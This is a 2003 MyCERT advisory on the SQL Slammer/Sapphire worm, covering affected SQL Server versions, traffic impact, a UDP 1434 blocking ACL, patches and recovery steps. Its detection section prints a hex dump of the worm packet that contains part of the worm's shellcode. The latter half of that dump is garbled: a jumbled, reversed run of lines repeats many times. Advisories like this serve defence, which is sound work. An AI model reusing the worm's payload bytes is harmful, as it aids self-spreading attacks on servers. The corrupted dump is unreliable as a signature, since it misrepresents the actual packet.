# MA-049.012003: MyCERT Advisory - MS SQL Server Worm

**Date:** 26 Jan 2003  
**Source:** https://www.mycert.org.my/portal/advisory?id=MA-049.012003  
**Advisory ID:** MA-049.012003

---

1.0 Description
#### 1.1 Overview
Late afternoon on 25th January 2003, MyCERT received reports and observed detects of a new Internet worm that propagates rigorously upon infection by scanning UDP port 1434 and sending payload to random IP addresses. The worm behaves in a way which exploits the vulnerabilities published in 25th July 2002, at http://www.nextgenss.com/advisories/mssql-udp.txt.
The Microsoft SQL server Resolution Service remote buffer overrun vulnerabilities allow attackers to execute arbitrary code with the same privilege as the SQL server (CERT VU#484891,VU#399260) and also the keep-alive functionality employed by the SQL Server resolution Service, which causes the host to launch a denial of service against other hosts (VU#370308).
The self propagating worm generates high volume of 1434/UDP traffic activities immediately upon infection. Please refer to http://isc.sans.org/ for the worm attack update.
#### 1.2 System Affected
Systems that are vulnerable to this worm are those running without Service Pack, Service Pack 1 or unpatched Service Pack 2 of:
1.2.1 Microsoft SQL server 2000
1.2.2 Microsoft Desktop Engine (MSDE) 2000
#### 1.3 Limitation
No Limitations. The worm propagates automatically without requiring any human intervention, upon infection on a vulnerable host.
#### 1.4 Aliases
Microsoft SQL Sapphire Worm
Microsoft SQL Slammer Worm
Microsoft SQL Stinger Worm
#### 1.5 Payload
Our current analysis shows that this worm does not contain any malicious code such as backdoor or Trojan program. It will try to infect any Microsoft SQL server in the Internet by sending itself to pseudo-random generated IP addresses. It will cause network degradation across the Internet and denial of service because of the high volume of UDP packets generated on the network.
MyCERT further analysis shows that the worm will send UDP packets with the size 376 bytes each to various random IP addresses.
### 2.0 Technical Matters
#### 2.1 Impact
After infecting the server, the worm will execute arbitrary code as the local SYSTEM user on the victim machine. Both Microsoft SQL server and MSDE will have interruption in their operation and may hang or reboot the system. The worm will send UDP packet to pseudo random generated IP addresses.
Based on MyCERT analysis, each infected MS SQL or MSDE host is capable of generating about 26Kb of 1434/UDP traffic per second. Such traffic may to able to cause network performance degradation or total network disruptions depending on network bandwidth availability.
### 3.0 Possible Steps
#### 3.1 Prevention
**3.1.1 Network**
There are several filters that can be applied at network perimeter to mitigate the worm from spreading widely to within and outside the network. However, before applying the filters, please ensure the port is not utilized or required by any of your critical systems.
**3.1.1.1 Router**
Apply access-list or filter to routers to block inbound and outbound traffic to port 1434. Below is an example of Cisco access-list configuration.
access-list 115 deny udp any any eq 1434
access-list 115 permit ip any any
int
ip access-group 115 in
ip access-group 115 out
The above filter will block inbound and outbound traffic request to port 1434. Once UDP port 1434 is blocked, the spread of the worm will be contained. Infected systems will still be infected and able to spread with in the contain network section only.
**3.1.1.2 Firewall**
Apply rules to filter inbound and outbound UDP traffic to ports 1434 on your network.
**3.1.2 System/Host**
It is strongly recommended that MS SQL servers and MSDE installed within private networks are also recommended to be patched to prevent propagation of the worm in an event where an infected host is introduced into the private network.
Below are recommended patches and Service Packs for the relevant services.
**3.1.2.1 Microsoft SQL 2000 (Standard and Advanced)**
Apply the latest service pack (Service Pack 3) for Microsoft SQL 2000. It can be downloaded from
http://www.microsoft.com/sql/downloads/2000/sp3.asp
The latest service pack includes the cumulative security patch announced in Microsoft’s MS02-061. This patch can be downloaded from
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q316333&sd=tech.
Before you apply this patch, you must install Microsoft SQL 2000 Service Pack 2 which can be downloaded from
http://www.microsoft.com/sql/downloads/2000/sp2.asp.
**3.1.2.2 Microsoft SQL Desktop Engine (MSDE) 2000**
Follow the same procedure as the above (3.1.2.1).
**3.1.2.3 Microsoft SQL 7**
Apply the patch that can be downloaded from
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q327068&sd=tech (October 16, 2002) release.
Before you apply the patch, you must install SQL Server 7 Service Pack4 which can be downloaded from
http://www.microsoft.com/sql/downloads/sp4.asp
- .
#### 3.2 Detection
You may download the free scanner to detect whether your systems are vulnerable to the worm. The tool can be downloaded from eEye’s: http://www.eeye.com/html/Research/Tools/SapphireSQL.html
Using a packet monitoring device, if you are able to detect mass traffics such as below originating from hosts within your network, targeting random IP Addresses, this indicates that internal.host.my is infected by the worm.
| --- | ```            18:41:30.727025 infected.host.1032 > 226.185.167.11.1434:  udp 376 [ttl 1]            0000: 4500 0194 aa13 0000 0111 386d c0e4 8b2f  E...ª.....8mÀä./            0010: e2b9 a70b 0408 059a 0180 5b6a 0401 0101  â¹§.......[j....            0020: 0101 0101 0101 0101 0101 0101 0101 0101  ................            0030: 0101 0101 0101 0101 0101 0101 0101 0101  ................            0040: 0101 0101 0101 0101 0101 0101 0101 0101  ................            0050: 0101 0101 0101 0101 0101 0101 0101 0101  ................            0060: 0101 0101 0101 0101 0101 0101 0101 0101  ................            0070: 0101 0101 0101 0101 0101 0101 01dc c9b0  .............ÜÉ°            0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae  Bë........p®B.p®            0090: 4290 9090 9090 9090 9068 dcc9 b042 b801  B........hÜÉ°B¸.            00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550  ...1É±.Pâý5....P            00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65  .åQh.dllhel32hke            00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765  rnQhounthickChGe            00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332  tTf¹llQh32.dhws2            00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51  _f¹etQhsockf¹toQ            00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16  hsend¾..®B.EÔPÿ.            0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae  P.EàP.EðPÿ.P¾..®            0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae  B....=U.ìQt.¾..®            0120: 42ff 16ff d031 c951 5150 81f1 0301 049b  Bÿ.ÿÐ1ÉQQP.ñ....            0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff  .ñ....Q.EÌP.EÀPÿ            0140: 166a 116a 026a 02ff d050 8d45 c450 8b45  .j.j.j.ÿÐP.EÄP.E            0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45  ÀPÿ..Æ.Û.ó< ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>         < ÿÖëÊ ebca ffd6 0190: ÉQf.ñx.Q.E.P.E¬P ac50 8b45 0350 8d45 0151 f178 6681 c951 0180: Â....Ø.E´j..E°P1 5031 45b0 108d b46a 8945 01d8 0490 c28d 0170: ´..@...Áâ..ÂÁâ.) 0829 c1e2 01c2 e204 88c1 8d14 0c40 b48d 0160:>                   ``` |
#### 3.3 Removal and Recovery
The removal and recovery steps apply to both SQL 2000 and MSDE 2000.
1. Disconnect the server from the network.
2. Stop the SQL Server or MSDE Services
3. Shutdown system and power off
4. Reboot system
5. Install the patch or service pack for SQL 2000 or MSDE 2000 as describe in section 3.1.2.1.
6. Restart SQL Server or MSDE.
7. Reconnect the server to the network.
### 4.0 More Information
More information on this worm can be obtained from the following sites:
#### 4.1 CERT Advisory
CERT® Advisory CA-2003-04 MS-SQL Server Worm
http://www.cert.org/advisories/CA-2003-04.html
Microsoft SQL Server 2000 contains denial-of-service vulnerability in SQL Server Resolution Service VU#370308
http://www.kb.cert.org/vuls/id/370308
Microsoft SQL Server 2000 contains heap buffer overflow in SQL Server Resolution Service VU#399260
http://www.kb.cert.org/vuls/id/399260
Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service VU#484891
http://www.kb.cert.org/vuls/id/484891
Microsoft SQL Server service account registry key has weak permissions that permit privilege escalation VU#796313
http://www.kb.cert.org/vuls/id/796313
#### 4.2 Microsoft
Microsoft Security Bulletin MS02-039
Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution (Q323875) http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
Microsoft Security Bulletin MS02-061
Elevation of Privilege in SQL Server Web Tasks (Q316333)
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-061.asp
SQL Server 2000 Service Pack 3
http://www.microsoft.com/sql/downloads/2000/sp3.asp
#### 4.3 eEye Digital Security
Microsoft SQL Sapphire Worm Analysis
http://www.eeye.com/html/Research/Flash/AL20030125.html
#### 4.4 SANS Institute
Internet Storm Centre (ISC) Analysis
http://isc.sans.org/port\_details.html?port=1434
#### 4.5 CISCO Security Advisories
Cisco Security Notice: MS SQL Worm Mitigation Recommendations
http://www.cisco.com/warp/public/707/cisco-sn-20030125-worm.shtml
#### 4.6 Others
NGSSoftware Insight Security Research Advisory
http://www.nextgenss.com/advisories/mssql-udp.txt